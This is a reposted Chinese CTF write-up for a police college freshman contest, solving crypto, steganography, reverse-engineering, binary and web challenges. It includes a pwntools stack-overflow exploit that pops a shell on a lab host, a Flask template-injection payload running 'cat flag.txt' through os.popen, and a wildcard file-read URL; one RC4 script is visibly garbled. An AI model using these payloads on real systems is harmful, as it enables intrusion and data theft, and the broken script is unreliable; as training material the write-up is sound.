【※】贵州警院首届新生见龙杯CTF-Writeup

admin 2024年12月23日11:02:48评论15 views字数 8540阅读28分28秒阅读模式

[CRYPTO]

1、CRYPTO简base64

题目:循环base64          
描述:这是一个简单的BASE64编码哦~~~

题目使用了40次的循环base64编码,只用写一个脚本循环40次解码即可

import base64          f=open("flag.txt")          flag=f.read()          for i in range(40):              flag=base64.b64decode(flag)          print(flag)

2、CRYPTO简xor

题目:xor          
描述:超级简单的异或

看题目的脚本就能看出来,是将flag字符串的单数异或5双数异或15,直接将编码后的字符串异或回来就行。

str="iinbt}`wP4|ZipaZ=5=1PocgP`u`ux"          r=""          i=0          for s in str:              if(1&i)!=0:                  r+=chr(ord(s)^5)              else:                  r+=chr(ord(s)^15)              i+=1          print(r)

3、CRYPTO简rsa

题目:在线解决n          
描述:可以在
https://factordb.com/在线分解n哦

从题目的提示可以看出来,直接可以去将n在线分解出来,得到四个素数。直接pow(c,d,n)解题

import gmpy2          import Crypto          p1 = 2          p2 = 9857          p3 = 107843756547496736191228190917322558471918750590609940965721119253640998815543 **3          p4 = 80990192745708230644342256236014173435685606613945005625896333595456890957431 **2          n = 121804144124122503297199430480372313955268374174478371165161920679289563336886138968773225552764225118173784465682952533553789945396650944988828871897557847523772164824010073574704809547033747061496307748729337711708709559247370646108847060059772342069677155126737953031748386980218074230410184755337565309430655950021142159814126162227790767379375090932457384177605558674008775823354065326          phi = (p1-1) * (p2-1) * p3 * (p3 - 1) * p4 ** 2 * (p4 - 1)          e = 2073          c = 8910898716564810207762723388132717156672665616439703442199368316922140149823170921444854058070564221283896253396296128439537432963230867201653903456479298685895216048058785277714338017148771570741576352218472253299585039653995105750223583118676386335884696553195780857627365756195358140277744527856999002717688023724338771102271585637403517078706866474598848154990763544895697011186309899          t = gmpy2.gcd(e, phi)          e_f = e // t          d = gmpy2.invert(e_f, phi)          m_f = pow(c, d, n)          m = int(gmpy2.iroot(m_f, t)[0])          flag = m.to_bytes(length=50, byteorder="big")          print(flag)

[MISC]

1、MISC简送分流量

题目:流量送分题          
描述:就几个包,好好看看呗~

直接在http流里面找到base64加密的flag    

【※】贵州警院首届新生见龙杯CTF-Writeup

base64解码即可得到flag

【※】贵州警院首届新生见龙杯CTF-Writeup

2、MISC简送分file

题目:upload了什么          
描述:黑客似乎上传了什么东西

一道明文送分题,直接使用命令搜索流量文件的字符串即可得到flag

strings file.pcapng|grep flag{

【※】贵州警院首届新生见龙杯CTF-Writeup

3、MISC简lsb

题目:简单的zip和img          
描述:伪加密都告诉你了,lsb隐写是不是还要告诉你?

伪加密+lsb

直接010eitor打开压缩吧,find 50 4b 01 02,找到后面的09,改成08,即可修复伪加密的压缩文件。

【※】贵州警院首届新生见龙杯CTF-Writeup

解压后得到flag.png以及lsb隐写的密码zngeek@123

直接使用lsb脚本还原即可

#lsb3.py          import sys          import struct          import numpy          import matplotlib.pyplot as plt          from PIL import Image          from crypt import AESCipher          # 将二进制文件分解为位数组          def decompose(data):              v = []              # 用4字节保存文件长度              fSize = len(data)              bytes_array = list(struct.pack("i", fSize))              # Python 3中data已经是bytes类型,直接转换为list              bytes_array += list(data)              for b in bytes_array:                  for i in range(7, -1, -1):                      v.append((b >> i) & 0x1)              return v          # 将位数组组装成二进制文件          def assemble(v):                 bytes_array = bytearray()              length = len(v)              for idx in range(0, len(v)//8):                  byte = 0                  for i in range(0, 8):                      if (idx*8+i < length):                          byte = (byte<<1) + v[idx*8+i]                                 bytes_array.append(byte)              payload_size = struct.unpack("i", bytes_array[:4])[0]              return bytes(bytes_array[4: payload_size + 4])          # 设置n的第i位为x          def set_bit(n, i, x):              mask = 1 << i              n &= ~mask              if x:                  n |= mask              return n          # 将payload文件嵌入到图像的LSB位中          def embed(imgFile, payload, password):              # 处理源图像              img = Image.open(imgFile)              (width, height) = img.size              conv = img.convert("RGBA").getdata()              print(f"[*] Input image size: {width}x{height} pixels.")              max_size = width*height*3.0/8/1024        # 最大payload大小              print(f"[*] Usable payload size: {max_size:.2f} KB.")              with open(payload, "rb") as f:                  data = f.read()              print(f"[+] Payload size: {len(data)/1024.0:.3f} KB ")              # 加密              cipher = AESCipher(password)              data_enc = cipher.encrypt(data)              # 处理payload文件数据              v = decompose(data_enc)              # 补齐到3的倍数              while(len(v)%3):                  v.append(0)              payload_size = len(v)/8/1024.0              print(f"[+] Encrypted payload size: {payload_size:.3f} KB ")              if (payload_size > max_size - 4):                  print("[-] Cannot embed. File too large")                  sys.exit()              # 创建输出图像              steg_img = Image.new('RGBA',(width, height))              data_img = steg_img.getdata()              idx = 0              for h in range(height):                  for w in range(width):                      (r, g, b, a) = conv.getpixel((w, h))                      if idx < len(v):                          r = set_bit(r, 0, v[idx])                          g = set_bit(g, 0, v[idx+1])                          b = set_bit(b, 0, v[idx+2])                      data_img.putpixel((w,h), (r, g, b, a))                      idx = idx + 3              steg_img.save(imgFile + "-stego.png", "PNG")              print(f"[+] {payload} embedded successfully!")          # 从输入文件的LSB中提取嵌入的数据          def extract(in_file, out_file, password):              # 处理源图像              img = Image.open(in_file)              (width, height) = img.size              conv = img.convert("RGBA").getdata()              print(f"[+] Image size: {width}x{height} pixels.")              # 提取LSB              v = []              for h in range(height):                  for w in range(width):                      (r, g, b, a) = conv.getpixel((w, h))                      v.append(r & 1)                      v.append(g & 1)                      v.append(b & 1)              data_out = assemble(v)              # 解密              cipher = AESCipher(password)              data_dec = cipher.decrypt(data_out)              # 写入解密后的数据              with open(out_file, "wb") as out_f:                  out_f.write(data_dec)              print(f"[+] Written extracted data to {out_file}.")          # 统计分析图像以检测LSB隐写          def analyse(in_file):              '''              - 将图像分块              - 计算每个块的LSB平均值              - 包含隐藏加密消息(随机数据)的区域的平均值应该在0.5左右              '''              BS = 100    # 块大小              img = Image.open(in_file)              (width, height) = img.size              print(f"[+] Image size: {width}x{height} pixels.")              conv = img.convert("RGBA").getdata()              # 提取LSB              vr = []    # Red LSBs              vg = []    # Green LSBs              vb = []    # Blue LSBs              for h in range(height):                  for w in range(width):                      (r, g, b, a) = conv.getpixel((w, h))                      vr.append(r & 1)                      vg.append(g & 1)                      vb.append(b & 1)              # 计算每个块的颜色LSB平均值              avgR = []              avgG = []              avgB = []              for i in range(0, len(vr), BS):                  avgR.append(numpy.mean(vr[i:i + BS]))                  avgG.append(numpy.mean(vg[i:i + BS]))                  avgB.append(numpy.mean(vb[i:i + BS]))              # 绘图              numBlocks = len(avgR)              blocks = [i for i in range(0, numBlocks)]              plt.axis([0, len(avgR), 0, 1])              plt.ylabel('Average LSB per block')              plt.xlabel('Block number')              #plt.plot(blocks, avgR, 'r.')              #plt.plot(blocks, avgG, 'g')              plt.plot(blocks, avgB, 'bo')              plt.show()          def usage(progName):              print("LSB steganogprahy. Hide files within least significant bits of images.n")              print("Usage:")              print(f"  {progName} hide")              print(f"  {progName} extract")              print(f"  {progName} analyse")              sys.exit()          if __name__ == "__main__":              if len(sys.argv) < 3:                  usage(sys.argv[0])              if sys.argv[1] == "hide":                         embed(sys.argv[2], sys.argv[3], sys.argv[4])              elif sys.argv[1] == "extract":                  extract(sys.argv[2], sys.argv[3], sys.argv[4])              elif sys.argv[1] == "analyse":                  analyse(sys.argv[2])              else:                  print("[-] Invalid operation specified")
#crypt.py          from Crypto.Cipher import AES          import base64          import hashlib          class AESCipher:              def __init__(self, key):                  self.bs = AES.block_size                  self.key = hashlib.sha256(key.encode()).digest()              def encrypt(self, raw):                  raw = self._pad(raw)                  iv = AES.new(self.key, AES.MODE_CBC).iv                  cipher = AES.new(self.key, AES.MODE_CBC, iv)                  return iv + cipher.encrypt(raw)              def decrypt(self, enc):                  iv = enc[:AES.block_size]                  cipher = AES.new(self.key, AES.MODE_CBC, iv)                  return self._unpad(cipher.decrypt(enc[AES.block_size:]))              def _pad(self, s):                  padding_size = self.bs - len(s) % self.bs                  padding = bytes([padding_size] * padding_size)                  return s + padding              def _unpad(self, s):                  return s[:-ord(s[len(s)-1:])]

【※】贵州警院首届新生见龙杯CTF-Writeup

[PWN]

1、PWN简送分题

题目:给我密码          
描述:送分送分,只要输入正确的字符串就可以了哦

直接执行命令反编译二进制文件,-M intel是使用intel的汇编格式,因为我个人比较喜欢看这种格式的汇编

objdump -d pwnstr -M intel |less

在main函数中,我们可以看到了给rax寄存器赋值了一个字符串

【※】贵州警院首届新生见龙杯CTF-Writeup

直接hex转字符串可以看到密码

【※】贵州警院首届新生见龙杯CTF-Writeup

内存的阅读顺序与人相反,所以密码应该是 ZnGeeK_is_G00D

可以看到call了scanf接受我们的输入后,然后call了strcmp函数将我们的输入与上面的密码进行test eax,eax,如果我们的输入与以上的密码一样就跳转到126e 。

【※】贵州警院首届新生见龙杯CTF-Writeup

而126e 正是我们的后门,能够直接得到系统的shell

【※】贵州警院首届新生见龙杯CTF-Writeup

所以直接nc连接题目,输入ZnGeeK_is_G00D就可以攻破此题。

其实你直接拖入IDA里面F5就能够看到伪代码的逻辑,然后直接得到明文的密码,我之所以要写得这么复杂,是希望同学们能够养成一个站在计算机逻辑的角度去思考所有问题的习惯,这样你才能有成为一代大神的基础条件,而不是一味的去依赖各种各样的工具最终沦为一个随时可以被AI替代的工具人!!!!!!

2、PWN简栈溢出

题目:char了a和b          
描述:简单的栈溢出,毫无难度可言啊

非常基础的一个栈溢出题目,还是直接objdump反编译成汇编来分析即可

objdump -d pwnab -M intel |less

在main函数中可以看到,call scanf函数接收输入的地址的rbp-0x30

【※】贵州警院首届新生见龙杯CTF-Writeup

而接下来程序将rbp-0x20的地址mov给了eax,接着cmp判断eax寄存器存储的内存地址的第一个字节是否等于0x15,如果等于的话就call 40121b函数

【※】贵州警院首届新生见龙杯CTF-Writeup

40121b正是我们需要的shell后门地址

【※】贵州警院首届新生见龙杯CTF-Writeup

如果从scanf函数接收输入的rbp-0x30溢出到rbp-0x20的第一位的话,计算一下,需要0x30-0x20=0x10,转换成10进制是16

【※】贵州警院首届新生见龙杯CTF-Writeup

思路就是填充16个垃圾字符,在第17个的时候输入0x15,脚本如下:

from pwn import *          #context.log_level = 'debug'          #p = process('./pwnab')          p = remote('192.168.0.109', 9999)   # 远程连接          payload = b'a' * 16+p64(0x15)          p.sendline(payload)          p.interactive()

这样就能成功利用后面获取shell了。

[REVERSE]

1、RE简base64

题目:简单的base64          
描述:就是个简简单单的base64编码呀,不过编码表我喜欢用自己的

同样objdump反编译成汇编代码,在main函数中可以看到mov给rax的就是base64编码后的密文,mov给rdx的就是自定义的编码表

【※】贵州警院首届新生见龙杯CTF-Writeup

手工去搞太麻烦了,直接使用工具也可以,我上面为什么要讲原理,原因说明得很清楚了,希望大家不要过度依赖工具,这里直接ida直接得到编码后字符串和自定义编码表即可。

【※】贵州警院首届新生见龙杯CTF-Writeup

【※】贵州警院首届新生见龙杯CTF-Writeup

带入自定义编码表直接解码得到flag

【※】贵州警院首届新生见龙杯CTF-Writeup

2、RE简RC4

题目:注册什么4的          
描述:好好找找key呗,简单的一个什么4的加密

IDA直接打卡,dede函数里面很清楚的看到是rc4的加密方式

【※】贵州警院首届新生见龙杯CTF-Writeup

因为为了降低难度,rc4加解密函数是我自己封装的,所以能够很清楚的看到加解密函数的名称

【※】贵州警院首届新生见龙杯CTF-Writeup

直接在data段能够看到key和加密后的flag,导出来直接写一个python脚本解密即可

【※】贵州警院首届新生见龙杯CTF-Writeup

def rc4_init(key):              S = list(range(256))              j = 0              for i in range(256):                  j = (j + S[i] + key[i % len(key)]) % 256                  S[i], S[j] = S[j], S[i]              return S          def rc4_stream(S):              i = 0              j = 0              while True:                  i = (i + 1) % 256                  j = (j + S[i]) % 256                  S[i], S[j] = S[j], S[i]                  K = S[(S[i] + S[j]) % 256]                  yield K          def rc4(key, plaintext):              S = rc4_init(key)              keystream = rc4_stream(S)              return bytes(

) # 设置密钥和明文flag key = b"zngeek@123" flag = b"flag{RC4_1s_Fun!_And_Secure!_BY_ZNG3K}" # 加密flag encrypted = rc4(key, flag) # 输出C语言数组格式 print("unsigned char flag[] = {", end="") print(",".join([hex(x) for x in encrypted]), end="") print("};")

[WEB]

1、WEB简单JS

题目:简单的JS          
描述:简简单单的JS debug

打开环境后,直接F12分析script.js里面的逻辑,发现只要将let unlockKey = false; 设置为true就可以了

【※】贵州警院首届新生见龙杯CTF-Writeup

直接在console里面输入unlockKey = true即可

【※】贵州警院首届新生见龙杯CTF-Writeup

当然你直接用js来解密也可以。

2、WEB简模板注入

题目:模板注入          
描述:简单flask模板注入

根据题目提示,就知道是flask的模板注入了,直接{{config}}就能看到存在注入

【※】贵州警院首届新生见龙杯CTF-Writeup

因为是简单入门题目,所以没有任何过滤,直接执行一下命令即可读取flag文件

{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

【※】贵州警院首届新生见龙杯CTF-Writeup

3、WEB简globfile

题目:简单的glob          
描述:简简单单的文件读取

看到题目没做任何过滤,直接file就能够读取文件

【※】贵州警院首届新生见龙杯CTF-Writeup

直接通配符就可以读取到flag

http://localhost/?file=*/*

【※】贵州警院首届新生见龙杯CTF-Writeup

题目及环境下载:

关注公众号回复 jlbctf2024 即可获取

原文始发于微信公众号(蓝极战队):【※】贵州警院首届新生“见龙杯”CTF-Writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月23日11:02:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【※】贵州警院首届新生见龙杯CTF-Writeuphttps://cn-sec.com/archives/3540638.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息